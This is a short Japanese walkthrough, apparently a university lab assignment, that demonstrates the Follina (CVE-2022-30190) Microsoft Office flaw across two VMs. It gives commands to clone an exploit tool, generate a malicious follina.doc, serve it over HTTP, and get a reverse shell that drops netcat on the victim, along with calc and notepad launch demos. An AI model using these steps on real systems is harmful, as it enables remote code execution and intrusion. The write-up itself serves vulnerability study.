
Follina(CVE-2022-30190)は、最近発見されたMicrosoft Officeのゼロデイ脆弱性です。これは重大度の高い脆弱性であり、ハッカーがリモートコード実行(RCE)攻撃に悪用する可能性があります。
Amine TITROFINE | 2022年12月17日
Follina (CVE-2022-30190) は、最近発見された Microsoft Office のゼロデイ脆弱性です。これは高深刻度の脆弱性であり、攻撃者はこれを利用してリモートコード実行 (RCE) 攻撃を行うことができます。この脆弱性は、Word などの呼び出し元アプリケーションから URL プロトコルを使用して MSDT が呼び出されたときに発生します。この脆弱性を悪用することに成功した攻撃者は、呼び出し元アプリケーションの権限で任意のコードを実行できます。その後、攻撃者はユーザーの権限で許可されたコンテキスト内で、プログラムのインストール、データの表示・変更・削除、新しいアカウントの作成などを行うことができます。
2台のVM:
$ git clone https://gitlab.com/grenoble-inp-ensimag/Secu3A/Devoir1/CVE_2022_30190_amine_titrofine_farah_ben_youssef_walid_lanjri.git
$ cd CVE_2022_30190_amine_titrofine_farah_ben_youssef_walid_lanjri
$ python3 follina.py –r 9999
follina.py プログラムを実行すると、( follina.doc ) が生成されます。これには悪意のあるスクリプトが含まれています。
2台のVM間でファイルを簡単に共有するために、Python http Server を使用します。
$ python3 –m http.server 8080
ポート9999でリバースシェルを取得します。注意:これにより、netcat バイナリが 被害者マシン上に ダウンロードされ、C:\Windows\Tasks に配置されます。バイナリのクリーンアップは行われません。アンチウイルスが無効でない限り、アンチウイルスの検出を引き起こします。
$ python3 follina.py -r 9999
calc.exe を起動:
$ python3 follina.py -c "calc"
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
notepad.exe を起動:
$ python3 follina.py -c "notepad"